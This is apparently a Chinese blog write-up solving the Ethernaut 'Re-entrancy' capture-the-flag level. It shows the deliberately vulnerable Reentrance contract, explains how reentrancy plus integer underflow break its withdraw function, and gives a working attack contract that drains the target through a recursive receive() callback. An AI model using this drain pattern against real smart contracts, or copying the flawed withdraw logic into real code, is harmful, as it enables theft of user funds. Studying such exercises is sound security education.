抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Re-entrancy

1. 题目要求

  • 1.1 这一关的目标是偷走合约的所有资产.

    这些可能有帮助:

    • 不可信的合约可以在你意料之外的地方执行代码.
    • Fallback methods
    • 抛出/恢复 bubbling
    • 有的时候攻击一个合约的最好方式是使用另一个合约.
    • 查看上方帮助页面, “Beyond the console” 部分
  • 1.2 题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

2. 分析

tips: 参考博客

  • 2.1 分析代码

  • function withdraw(uint _amount) public {
        if(balances[msg.sender] >= _amount) {
          (bool result,) = msg.sender.call{value:_amount}("");
          if(result) {
            _amount;
          }
          balances[msg.sender] -= _amount;
        }
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60

    - a.该功能检查是否`msg.sender`有足够的余额来提取`_amount`以太币
    - b.`_amount`它继续通过一个低级函数发送请求,`call`该函数将使用所有剩余的`gas`来执行操作
    - c.它更新`msg.sender`减少金额的余额

    - `**漏洞利用选项 1,懒惰而不聪明的选项:在循环中利用重入**

    如果资金不是问题,我们可以`0.001 ether / 100`通过`donate`函数发送并重新进入`withdraw`函数 100 次 + 初始调用。

    `0.001 ether / 100`只是一个任意值,我们只需要确保在重新进入函数时不会消耗太多气体,`withdraw`否则交易会因为**Out of Gas 异常**而恢复。

    **漏洞利用选项 2,切肉刀方式:利用重入和下溢**

    这个解决方案要优雅得多,它利用了两个不同的问题:重入和下溢!

    我们已经知道重入问题,并且我们说`balances[msg.sender] -= _amount`“正常”操作的下溢将受到保护,因为`balances[msg.sender] >= _amount`即使该操作不使用`SafeMath`,如果我们确定 max,也没有办法下溢可能`balances[msg.sender]`会**归零**。

    但是因为我们可以重新输入,所以我们可以执行两次相同的`balances[msg.sender] -= _amount`操作,所以我们的余额第一次会变为零,但第二次会`type(uint256).max`因为下溢而变为零!

    此时,我们可以调用`withdraw`提取存储在受害者合约中的全部以太币!

    **注意:**第二种解决方案**只有**在下溢的情况下才有可能。如果不存在下溢问题,我们仍然可以通过重入循环解决方案来解决挑战。`

    - 2.2 [参考视频](https://www.youtube.com/watch?v=K8AFyNiuTXs) 写的攻击合约:

    - ```solidity
    interface IReentracy {
    function donate(address) external payable;
    function withdraw(uint256) external;
    }

    contract Hack{

    IReentracy private immutable target;

    constructor(address _target) public {
    target = IReentracy(_target);
    }

    function attack() public payable{

    target.donate.value(0.001 ether)(address(this));
    target.withdraw(1e18);
    }

    receive() external payable {
    uint amount = min(1e18, address(target).balance);
    if (amount > 0) {
    target.withdraw(amount);
    }

    require(address(target).balance == 0, "target balance > 0");
    selfdestruct(payable(msg.sender));
    }

    function min(uint x, uint y) private pure returns(uint) {
    return x <= y ? x : y;
    }

    }
  • 2.3 进行重入攻击即可

3. 解题

  • 3.1 获取关卡的实例:0xcf96fB43ffF6B6F8c05f353ce8271931271E69b0

  • 3.2 利用实例地址部署Hack合约,调用attrack() 函数

  • image-20230224220324453

  • 设置msg.value = 1 ether

  • image-20230224220445270

  • 3.3 提交实例并查看结果

  • image-20230224220832739

  • 3.4 成功!!!!!

评论



政策 · 统计 | 本站使用 Volantis 主题设计